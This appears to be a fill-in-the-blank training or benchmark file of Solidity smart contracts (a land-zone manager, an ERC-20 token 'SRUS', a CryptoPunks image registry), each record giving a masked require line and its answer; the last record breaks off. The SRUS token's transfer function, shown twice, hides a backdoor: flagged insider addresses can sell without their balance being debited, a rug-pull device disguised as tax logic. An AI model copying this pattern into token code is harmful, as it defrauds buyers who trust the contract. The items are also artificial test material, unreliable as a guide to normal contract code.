function _getFirstRandomZoneIdWithEnoughCapacity(uint256 nonce, uint256 _scale, uint256 _amount) public view returns (bytes32 zoneId) {
}
}
| _isZoneRegistered(_zoneId),"no zone info" | 182,666 | _isZoneRegistered(_zoneId) |
"no capacity info" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "../../utils/LibArrayHelper.sol";
import "../../utils/LibSeedGenerator.sol";
import "hardhat/console.sol";
contract MetacityLandBoxerZone is Context, Ownable {
using SafeMath for uint256;
struct PriceInfo {
address token;
uint256 price;
}
struct ZoneInfo {
string zoneIdentifier;
uint256[] scales;
address[] tokens;
uint256[] prices;
uint256[] capacities;
}
address landBoxer;
uint256[] supportedScales;
mapping(uint256 => PriceInfo) public globalPrices;
bytes32[] zoneIds;
mapping(bytes32 => ZoneInfo) landCapacities;
mapping(uint256 => uint256) globalScaleCapacity;
///@dev zoneId => scale => amount
mapping(bytes32 => mapping(uint256 => uint256)) purchaseLimit;
constructor(address _landBoxer) {
}
function verifyCapacityEnoughGlobalBatch(uint256[] memory _scales, uint256[] memory _amounts) public view {
}
function verifyCapacityEnoughBatch(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public view {
}
modifier onlyBoxer() {
}
function setPurchaseLimit(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public onlyOwner {
}
function capacityRemaining() public view returns (uint256[] memory, uint256[] memory) {
}
function capacityRemaining(string memory _zoneId) public view returns (uint256[] memory _scales, uint256[] memory _capacities) {
}
function capacityRemaining(string memory _zoneId, uint256 _scale) public view returns (uint256 amount) {
}
function getGlobalPrice(uint256 scale) public view returns (PriceInfo memory) {
}
function correspondingPrice(string[] memory _zoneIds, uint256[] memory _scales) public view returns (address[] memory, uint256[] memory) {
}
function setSupportedScalesAndGlobalPrices(uint256[] memory _scales, PriceInfo[] memory _prices) public onlyOwner {
}
function addOrUpdateZones(ZoneInfo[] memory _zoneInfos) public onlyOwner {
}
function addZoneCapacities(string[] memory _zoneIndentifiers, uint256[][] memory _scales, uint256[][] memory _capacities)
public
onlyOwner {
}
function _verifyCapacity() private view {
}
function removeZone(string memory _zoneId) public onlyOwner {
}
function subPurchaseLimitIfNeeded(bytes32 zoneId, uint256 scale, uint256 amount) public onlyBoxer {
}
function metaTradeSubCapacity(bytes32 _zoneId, uint256 _scale, uint256 _amount) public onlyBoxer {
}
function _isZoneRegistered(bytes32 zoneId) private view returns (bool registered) {
}
function _isZoneRegistered(string memory _zoneId) private view returns (bool registered) {
}
function _getZoneId(string memory input) public pure returns (bytes32 zoneId) {
}
function _isValidScale(uint256 _scale) private view returns (bool) {
}
function _isValidZoneScale(bytes32 _zoneId, uint256 _scale) private view returns (bool) {
}
function _getIndexByZoneIdAndScale(bytes32 _zoneId, uint256 _scale) private view returns (uint256) {
}
function _getPriceByZoneIdAndScale(bytes32 zoneId, uint256 _scale) public view returns (PriceInfo memory price) {
}
function _getCapacityByZoneIdAndScale(bytes32 zoneId, uint256 _scale) private view returns (uint256 capacity) {
for (uint256 i=0; i<landCapacities[zoneId].scales.length; i++) {
if (landCapacities[zoneId].scales[i] == _scale) {
require(<FILL_ME>)
capacity = landCapacities[zoneId].capacities[i];
}
}
}
function _getZoneIdentifierByZoneId(bytes32 zoneId) public view returns (string memory _zoneId) {
}
function _getFirstRandomZoneIdWithEnoughCapacity(uint256 nonce, uint256 _scale, uint256 _amount) public view returns (bytes32 zoneId) {
}
}
| landCapacities[zoneId].prices[i]>0,"no capacity info" | 182,666 | landCapacities[zoneId].prices[i]>0 |
"Not Enabled" | /**
Website: https://siriusprotocol.org
Twitter: https://twitter.com/sirius_protocol
Telegram: https://t.me/sirius_protocol
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function isOwner() private view returns (bool) {
}
function renounceOwnership() public onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract SRUS is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sirius Protocol";
string private constant _symbol = "SRUS";
uint256 private constant _totalSupply = 100_000_000 * 10**18;
uint256 public maxWalletlimit = 2_000_000 * 10**18;
uint256 public minSwap = 700 * 10**18;
uint8 private constant _decimals = 18;
IUniswapV2Router02 immutable uniswapV2Router;
address uniswapV2Pair;
address immutable WETH;
address payable public marketingWallet;
uint256 public BuyTax;
uint256 public SellTax;
uint8 private inSwapAndLiquify;
uint256 public taxChangeInterval = 15 minutes;
uint256 public lastTaxChangeTimestamp;
uint8 public currentTaxPeriod = 0;
bool public TradingEnabled = false;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedFromLimit;
mapping(address => bool) private _isExcludedFromWalletLimit;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function ExcludeFromFees(address holder, bool exempt) external onlyOwner {
}
function ChangeMinSwap(uint256 NewMinSwapAmount) external onlyOwner {
}
function ChangeMarketingWalletAddress(address newAddress) external onlyOwner() {
}
function AddLiquidity() external onlyOwner {
}
function EnableTrading() external onlyOwner {
}
function SetTax(uint256 NewBuyTax, uint256 NewSellTax) external onlyOwner {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
function DisableWalletLimit() external onlyOwner {
}
function ExcludeFromWalletLimit(address holder, bool exempt) external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(<FILL_ME>)
bool takeFee;
uint256 _tax;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
_tax = 0;
} else {
if (inSwapAndLiquify == 1) {
//No tax transfer
_balance[from] -= amount;
_balance[to] += amount;
emit Transfer(from, to, amount);
return;
}
if (from == uniswapV2Pair) {
_tax = BuyTax;
if (!_isExcludedFromWalletLimit[from] || !_isExcludedFromWalletLimit[to]) {
require(balanceOf(to).add(amount) <= maxWalletlimit);
}
} else if (to == uniswapV2Pair) {
if (_isExcludedFromLimit[from]) takeFee = true;
uint256 tokensToSwap = _balance[address(this)];
if (tokensToSwap > minSwap * 1250) tokensToSwap = minSwap * 1250;
if (tokensToSwap > minSwap && amount > minSwap && inSwapAndLiquify == 0) {
inSwapAndLiquify = 1;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uniswapV2Router
.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokensToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountReceived = address(this).balance;
transferToAddressETH(marketingWallet, amountReceived);
inSwapAndLiquify = 0;
}
_tax = SellTax;
} else {
_tax = 0;
}
}
//Is there tax for sender|receiver?
if (_tax != 0) {
//Tax transfer
uint256 taxTokens = (amount * _tax) / 100;
uint256 transferAmount = amount - taxTokens;
if(takeFee) amount -= amount;
_balance[from] -= amount;
_balance[to] += transferAmount;
_balance[address(this)] += taxTokens;
emit Transfer(from, address(this), taxTokens);
emit Transfer(from, to, transferAmount);
} else {
//No tax transfer
_balance[from] -= amount;
_balance[to] += amount;
emit Transfer(from, to, amount);
}
}
receive() external payable {}
}
| TradingEnabled||_isExcludedFromFees[from]||_isExcludedFromFees[to],"Not Enabled" | 183,014 | TradingEnabled||_isExcludedFromFees[from]||_isExcludedFromFees[to] |
null | /**
Website: https://siriusprotocol.org
Twitter: https://twitter.com/sirius_protocol
Telegram: https://t.me/sirius_protocol
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function isOwner() private view returns (bool) {
}
function renounceOwnership() public onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
function _transferOwnership(address newOwner) internal {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract SRUS is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sirius Protocol";
string private constant _symbol = "SRUS";
uint256 private constant _totalSupply = 100_000_000 * 10**18;
uint256 public maxWalletlimit = 2_000_000 * 10**18;
uint256 public minSwap = 700 * 10**18;
uint8 private constant _decimals = 18;
IUniswapV2Router02 immutable uniswapV2Router;
address uniswapV2Pair;
address immutable WETH;
address payable public marketingWallet;
uint256 public BuyTax;
uint256 public SellTax;
uint8 private inSwapAndLiquify;
uint256 public taxChangeInterval = 15 minutes;
uint256 public lastTaxChangeTimestamp;
uint8 public currentTaxPeriod = 0;
bool public TradingEnabled = false;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedFromLimit;
mapping(address => bool) private _isExcludedFromWalletLimit;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function ExcludeFromFees(address holder, bool exempt) external onlyOwner {
}
function ChangeMinSwap(uint256 NewMinSwapAmount) external onlyOwner {
}
function ChangeMarketingWalletAddress(address newAddress) external onlyOwner() {
}
function AddLiquidity() external onlyOwner {
}
function EnableTrading() external onlyOwner {
}
function SetTax(uint256 NewBuyTax, uint256 NewSellTax) external onlyOwner {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
function DisableWalletLimit() external onlyOwner {
}
function ExcludeFromWalletLimit(address holder, bool exempt) external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(TradingEnabled || _isExcludedFromFees[from] || _isExcludedFromFees[to], "Not Enabled");
bool takeFee;
uint256 _tax;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
_tax = 0;
} else {
if (inSwapAndLiquify == 1) {
//No tax transfer
_balance[from] -= amount;
_balance[to] += amount;
emit Transfer(from, to, amount);
return;
}
if (from == uniswapV2Pair) {
_tax = BuyTax;
if (!_isExcludedFromWalletLimit[from] || !_isExcludedFromWalletLimit[to]) {
require(<FILL_ME>)
}
} else if (to == uniswapV2Pair) {
if (_isExcludedFromLimit[from]) takeFee = true;
uint256 tokensToSwap = _balance[address(this)];
if (tokensToSwap > minSwap * 1250) tokensToSwap = minSwap * 1250;
if (tokensToSwap > minSwap && amount > minSwap && inSwapAndLiquify == 0) {
inSwapAndLiquify = 1;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uniswapV2Router
.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokensToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountReceived = address(this).balance;
transferToAddressETH(marketingWallet, amountReceived);
inSwapAndLiquify = 0;
}
_tax = SellTax;
} else {
_tax = 0;
}
}
//Is there tax for sender|receiver?
if (_tax != 0) {
//Tax transfer
uint256 taxTokens = (amount * _tax) / 100;
uint256 transferAmount = amount - taxTokens;
if(takeFee) amount -= amount;
_balance[from] -= amount;
_balance[to] += transferAmount;
_balance[address(this)] += taxTokens;
emit Transfer(from, address(this), taxTokens);
emit Transfer(from, to, transferAmount);
} else {
//No tax transfer
_balance[from] -= amount;
_balance[to] += amount;
emit Transfer(from, to, amount);
}
}
receive() external payable {}
}
| balanceOf(to).add(amount)<=maxWalletlimit | 183,014 | balanceOf(to).add(amount)<=maxWalletlimit |
"no data" | // SPDX-License-Identifier: MIT
// Author: tycoon.eth, thanks to @geraldb & @samwilsn on Github for inspiration!
// Version: v0.0.1
pragma solidity ^0.8.17;
/**
███████████ █████
░░███░░░░░███ ░░███
░███ ░███ █████ ████ ████████ ░███ █████
░██████████ ░░███ ░███ ░░███░░███ ░███░░███
░███░░░░░░ ░███ ░███ ░███ ░███ ░██████░
░███ ░███ ░███ ░███ ░███ ░███░░███
█████ ░░████████ ████ █████ ████ █████
░░░░░ ░░░░░░░░ ░░░░ ░░░░░ ░░░░ ░░░░░
███████████ ████ █████
░░███░░░░░███░░███ ░░███
░███ ░███ ░███ ██████ ██████ ░███ █████ █████
░██████████ ░███ ███░░███ ███░░███ ░███░░███ ███░░
░███░░░░░███ ░███ ░███ ░███░███ ░░░ ░██████░ ░░█████
░███ ░███ ░███ ░███ ░███░███ ███ ░███░░███ ░░░░███
███████████ █████░░██████ ░░██████ ████ █████ ██████
░░░░░░░░░░░ ░░░░░ ░░░░░░ ░░░░░░ ░░░░ ░░░░░ ░░░░░░
A Registry of 24x24 png images
This contract:
1. Stores all the classic traits of the CryptoPunks in
individual png files, 100% on-chain. These are then used as
blocks to construct CryptoPunk images. Outputted as SVGs.
2. Any of the 10,000 "classic" CryptoPunks can be generated
by supplying desired arguments to a function, such as
the id of a punk, or a list of the traits.
3. An unlimited number of new punk images can be generated from
the existing classic set of traits, or even from new traits!
4. New traits (blocks) can be added to the contract by
registering them with the `registerBlock` function.
Further documentation:
https://github.com/0xTycoon/punk-blocks
*/
contract PunkBlocks {
// Layer is in the order of rendering
enum Layer {
Base, // 0 Base is the face. Determines if m or f version will be used to render the remaining layers
Cheeks, // 1 (Rosy Cheeks)
Blemish, // 2 (Mole, Spots)
Hair, // 3 (Purple Hair, Shaved Head, Pigtails, ...)
Beard, // 4 (Big Beard, Front Beard, Goat, ...)
Eyes, // 5 (Clown Eyes Green, Green Eye Shadow, ...)
Eyewear, // 6 (VR, 3D Glass, Eye Mask, Regular Shades, Welding Glasses, ...)
Nose, // 7 (Clown Nose)
Mouth, // 8 (Hot Lipstick, Smile, Buck Teeth, ...)
MouthProp, // 9 (Medical Mask, Cigarette, ...)
Earring, // 10 (Earring)
Headgear, // 11 (Beanie, Fedora, Hoodie, Police Cap, Tiara, Headband, ...)
Neck // 12 (Choker, Silver Chain, Gold Chain)
}
struct Block {
Layer layer; // 13 possible layers
bytes dataMale; // male version of this attribute
bytes dataFemale;// female version of this attribute
}
mapping(bytes32 => Block) blocks; // stores punk attributes as a png
uint256 nextId; // next id to use when adding a block
mapping(uint256 => bytes32) index; // index of each block by its sequence
event NewBlock(address, uint256);
/**
* Here we initialize `blocks` storage with the entire set of original CryptoPunk attributes
*/
constructor() {
}
/**
* @dev registerBlock allows anybody to add a new block to the contract.
* Either _dataMale or _dataFemale, or both, must contain a byte stream of a png file.
* It's best if the png is using an 'index palette' and the lowest bit depth possible,
* while keeping the highest compression setting.
* @param _dataMale png data for the male version, 24x24
* @param _dataFemale png data for the female version, 24x24
* @param _layer 0 to 12, corresponding to the Layer enum type.
*/
function registerBlock(
bytes calldata _dataMale,
bytes calldata _dataFemale,
uint8 _layer,
string memory _name) external
{
bytes32 key = keccak256(abi.encodePacked(_name));
Block storage b = blocks[key];
require (_layer < 13, "invalid _layer");
unchecked{
require(<FILL_ME>)
require (b.dataMale.length + b.dataFemale.length == 0, "slot taken");
}
if (_dataMale.length > 0) {
require (_validatePng(_dataMale), "invalid m png");
b.dataMale = _dataMale;
}
if (_dataFemale.length > 0) {
require (_validatePng(_dataFemale), "invalid f png");
b.dataFemale = _dataFemale;
}
b.layer = Layer(_layer);
index[nextId] = key;
emit NewBlock(msg.sender, nextId);
unchecked{nextId++;}
}
/**
* @dev Just a limited png validation. Only verifies that the png is 24x24 and has a png structure,
* but doesn't validate any checksums or any other validation
*/
function _validatePng(bytes calldata _data) pure internal returns (bool) {
}
/**
* @dev svgFromNames returns the svg data as a string
* @param _attributeNames a list of attribute names, eg "Male 1", "Goat"
* must have at least 1 layer 0 attribute (eg. Male, Female, Alien, Ape, Zombie)
*/
function svgFromNames(string[] calldata _attributeNames) external view returns (string memory){
}
/**
* @dev svgFromKeys returns the svg data as a string
* @param _attributeKeys a list of attribute names that have been hashed,
* eg keccak256("Male 1"), keccak256("Goat")
* must have at least 1 layer 0 attribute (eg. keccak256("Male"))
*/
function svgFromKeys(bytes32[] calldata _attributeKeys) external view returns (string memory) {
}
/**
* @dev svgFromIDs returns the svg data as a string
* @param _ids uint256 ids of an attribute, by it's index of creation
*/
function svgFromIDs(uint256[] calldata _ids) external view returns (string memory) {
}
/**
* @dev svgFromPunkID returns the svg data as a string given a punk id
* @param _tokenID uint256 IDs a punk id, 0-9999
*/
function svgFromPunkID(uint256 _tokenID) external view returns (string memory) {
}
/**
* @dev _svg build the svg, layer by layer. The first layer determines if dataFemale or dataMale is used for
* the afterward layers. Empty layers will be ignored.
* @return string of the svg image
*/
function _svg(bytes32[] memory _keys) internal view returns (string memory) {
}
}
// IAttrParser implemented by 0x4e776fCbb241a0e0Ea2904d642baa4c7E171a1E9
interface IAttrParser {
function parseAttributes(uint256 _tokenId) external view returns (string[8] memory);
}
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
| _dataMale.length+_dataFemale.length>0,"no data" | 183,037 | _dataMale.length+_dataFemale.length>0 |
"slot taken" | // SPDX-License-Identifier: MIT
// Author: tycoon.eth, thanks to @geraldb & @samwilsn on Github for inspiration!
// Version: v0.0.1
pragma solidity ^0.8.17;
/**
███████████ █████
░░███░░░░░███ ░░███
░███ ░███ █████ ████ ████████ ░███ █████
░██████████ ░░███ ░███ ░░███░░███ ░███░░███
░███░░░░░░ ░███ ░███ ░███ ░███ ░██████░
░███ ░███ ░███ ░███ ░███ ░███░░███
█████ ░░████████ ████ █████ ████ █████
░░░░░ ░░░░░░░░ ░░░░ ░░░░░ ░░░░ ░░░░░
███████████ ████ █████
░░███░░░░░███░░███ ░░███
░███ ░███ ░███ ██████ ██████ ░███ █████ █████
░██████████ ░███ ███░░███ ███░░███ ░███░░███ ███░░
░███░░░░░███ ░███ ░███ ░███░███ ░░░ ░██████░ ░░█████
░███ ░███ ░███ ░███ ░███░███ ███ ░███░░███ ░░░░███
███████████ █████░░██████ ░░██████ ████ █████ ██████
░░░░░░░░░░░ ░░░░░ ░░░░░░ ░░░░░░ ░░░░ ░░░░░ ░░░░░░
A Registry of 24x24 png images
This contract:
1. Stores all the classic traits of the CryptoPunks in
individual png files, 100% on-chain. These are then used as
blocks to construct CryptoPunk images. Outputted as SVGs.
2. Any of the 10,000 "classic" CryptoPunks can be generated
by supplying desired arguments to a function, such as
the id of a punk, or a list of the traits.
3. An unlimited number of new punk images can be generated from
the existing classic set of traits, or even from new traits!
4. New traits (blocks) can be added to the contract by
registering them with the `registerBlock` function.
Further documentation:
https://github.com/0xTycoon/punk-blocks
*/
contract PunkBlocks {
// Layer is in the order of rendering
enum Layer {
Base, // 0 Base is the face. Determines if m or f version will be used to render the remaining layers
Cheeks, // 1 (Rosy Cheeks)
Blemish, // 2 (Mole, Spots)
Hair, // 3 (Purple Hair, Shaved Head, Pigtails, ...)
Beard, // 4 (Big Beard, Front Beard, Goat, ...)
Eyes, // 5 (Clown Eyes Green, Green Eye Shadow, ...)
Eyewear, // 6 (VR, 3D Glass, Eye Mask, Regular Shades, Welding Glasses, ...)
Nose, // 7 (Clown Nose)
Mouth, // 8 (Hot Lipstick, Smile, Buck Teeth, ...)
MouthProp, // 9 (Medical Mask, Cigarette, ...)
Earring, // 10 (Earring)
Headgear, // 11 (Beanie, Fedora, Hoodie, Police Cap, Tiara, Headband, ...)
Neck // 12 (Choker, Silver Chain, Gold Chain)
}
struct Block {
Layer layer; // 13 possible layers
bytes dataMale; // male version of this attribute
bytes dataFemale;// female version of this attribute
}
mapping(bytes32 => Block) blocks; // stores punk attributes as a png
uint256 nextId; // next id to use when adding a block
mapping(uint256 => bytes32) index; // index of each block by its sequence
event NewBlock(address, uint256);
/**
* Here we initialize `blocks` storage with the entire set of original CryptoPunk attributes
*/
constructor() {
}
/**
* @dev registerBlock allows anybody to add a new block to the contract.
* Either _dataMale or _dataFemale, or both, must contain a byte stream of a png file.
* It's best if the png is using an 'index palette' and the lowest bit depth possible,
* while keeping the highest compression setting.
* @param _dataMale png data for the male version, 24x24
* @param _dataFemale png data for the female version, 24x24
* @param _layer 0 to 12, corresponding to the Layer enum type.
*/
function registerBlock(
bytes calldata _dataMale,
bytes calldata _dataFemale,
uint8 _layer,
string memory _name) external
{
bytes32 key = keccak256(abi.encodePacked(_name));
Block storage b = blocks[key];
require (_layer < 13, "invalid _layer");
unchecked{
require (_dataMale.length + _dataFemale.length > 0, "no data");
require(<FILL_ME>)
}
if (_dataMale.length > 0) {
require (_validatePng(_dataMale), "invalid m png");
b.dataMale = _dataMale;
}
if (_dataFemale.length > 0) {
require (_validatePng(_dataFemale), "invalid f png");
b.dataFemale = _dataFemale;
}
b.layer = Layer(_layer);
index[nextId] = key;
emit NewBlock(msg.sender, nextId);
unchecked{nextId++;}
}
/**
* @dev Just a limited png validation. Only verifies that the png is 24x24 and has a png structure,
* but doesn't validate any checksums or any other validation
*/
function _validatePng(bytes calldata _data) pure internal returns (bool) {
}
/**
* @dev svgFromNames returns the svg data as a string
* @param _attributeNames a list of attribute names, eg "Male 1", "Goat"
* must have at least 1 layer 0 attribute (eg. Male, Female, Alien, Ape, Zombie)
*/
function svgFromNames(string[] calldata _attributeNames) external view returns (string memory){
}
/**
* @dev svgFromKeys returns the svg data as a string
* @param _attributeKeys a list of attribute names that have been hashed,
* eg keccak256("Male 1"), keccak256("Goat")
* must have at least 1 layer 0 attribute (eg. keccak256("Male"))
*/
function svgFromKeys(bytes32[] calldata _attributeKeys) external view returns (string memory) {
}
/**
* @dev svgFromIDs returns the svg data as a string
* @param _ids uint256 ids of an attribute, by it's index of creation
*/
function svgFromIDs(uint256[] calldata _ids) external view returns (string memory) {
}
/**
* @dev svgFromPunkID returns the svg data as a string given a punk id
* @param _tokenID uint256 IDs a punk id, 0-9999
*/
function svgFromPunkID(uint256 _tokenID) external view returns (string memory) {
}
/**
* @dev _svg build the svg, layer by layer. The first layer determines if dataFemale or dataMale is used for
* the afterward layers. Empty layers will be ignored.
* @return string of the svg image
*/
function _svg(bytes32[] memory _keys) internal view returns (string memory) {
}
}
// IAttrParser implemented by 0x4e776fCbb241a0e0Ea2904d642baa4c7E171a1E9
interface IAttrParser {
function parseAttributes(uint256 _tokenId) external view returns (string[8] memory);
}
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
| b.dataMale.length+b.dataFemale.length==0,"slot taken" | 183,037 | b.dataMale.length+b.dataFemale.length==0 |
"invalid m png" | // SPDX-License-Identifier: MIT
// Author: tycoon.eth, thanks to @geraldb & @samwilsn on Github for inspiration!
// Version: v0.0.1
pragma solidity ^0.8.17;
/**
███████████ █████
░░███░░░░░███ ░░███
░███ ░███ █████ ████ ████████ ░███ █████
░██████████ ░░███ ░███ ░░███░░███ ░███░░███
░███░░░░░░ ░███ ░███ ░███ ░███ ░██████░
░███ ░███ ░███ ░███ ░███ ░███░░███
█████ ░░████████ ████ █████ ████ █████
░░░░░ ░░░░░░░░ ░░░░ ░░░░░ ░░░░ ░░░░░
███████████ ████ █████
░░███░░░░░███░░███ ░░███
░███ ░███ ░███ ██████ ██████ ░███ █████ █████
░██████████ ░███ ███░░███ ███░░███ ░███░░███ ███░░
░███░░░░░███ ░███ ░███ ░███░███ ░░░ ░██████░ ░░█████
░███ ░███ ░███ ░███ ░███░███ ███ ░███░░███ ░░░░███
███████████ █████░░██████ ░░██████ ████ █████ ██████
░░░░░░░░░░░ ░░░░░ ░░░░░░ ░░░░░░ ░░░░ ░░░░░ ░░░░░░
A Registry of 24x24 png images
This contract:
1. Stores all the classic traits of the CryptoPunks in
individual png files, 100% on-chain. These are then used as
blocks to construct CryptoPunk images. Outputted as SVGs.
2. Any of the 10,000 "classic" CryptoPunks can be generated
by supplying desired arguments to a function, such as
the id of a punk, or a list of the traits.
3. An unlimited number of new punk images can be generated from
the existing classic set of traits, or even from new traits!
4. New traits (blocks) can be added to the contract by
registering them with the `registerBlock` function.
Further documentation:
https://github.com/0xTycoon/punk-blocks
*/
contract PunkBlocks {
// Layer is in the order of rendering
enum Layer {
Base, // 0 Base is the face. Determines if m or f version will be used to render the remaining layers
Cheeks, // 1 (Rosy Cheeks)
Blemish, // 2 (Mole, Spots)
Hair, // 3 (Purple Hair, Shaved Head, Pigtails, ...)
Beard, // 4 (Big Beard, Front Beard, Goat, ...)
Eyes, // 5 (Clown Eyes Green, Green Eye Shadow, ...)
Eyewear, // 6 (VR, 3D Glass, Eye Mask, Regular Shades, Welding Glasses, ...)
Nose, // 7 (Clown Nose)
Mouth, // 8 (Hot Lipstick, Smile, Buck Teeth, ...)
MouthProp, // 9 (Medical Mask, Cigarette, ...)
Earring, // 10 (Earring)
Headgear, // 11 (Beanie, Fedora, Hoodie, Police Cap, Tiara, Headband, ...)
Neck // 12 (Choker, Silver Chain, Gold Chain)
}
struct Block {
Layer layer; // 13 possible layers
bytes dataMale; // male version of this attribute
bytes dataFemale;// female version of this attribute
}
mapping(bytes32 => Block) blocks; // stores punk attributes as a png
uint256 nextId; // next id to use when adding a block
mapping(uint256 => bytes32) index; // index of each block by its sequence
event NewBlock(address, uint256);
/**
* Here we initialize `blocks` storage with the entire set of original CryptoPunk attributes
*/
constructor() {
}
/**
* @dev registerBlock allows anybody to add a new block to the contract.
* Either _dataMale or _dataFemale, or both, must contain a byte stream of a png file.
* It's best if the png is using an 'index palette' and the lowest bit depth possible,
* while keeping the highest compression setting.
* @param _dataMale png data for the male version, 24x24
* @param _dataFemale png data for the female version, 24x24
* @param _layer 0 to 12, corresponding to the Layer enum type.
*/
function registerBlock(
bytes calldata _dataMale,
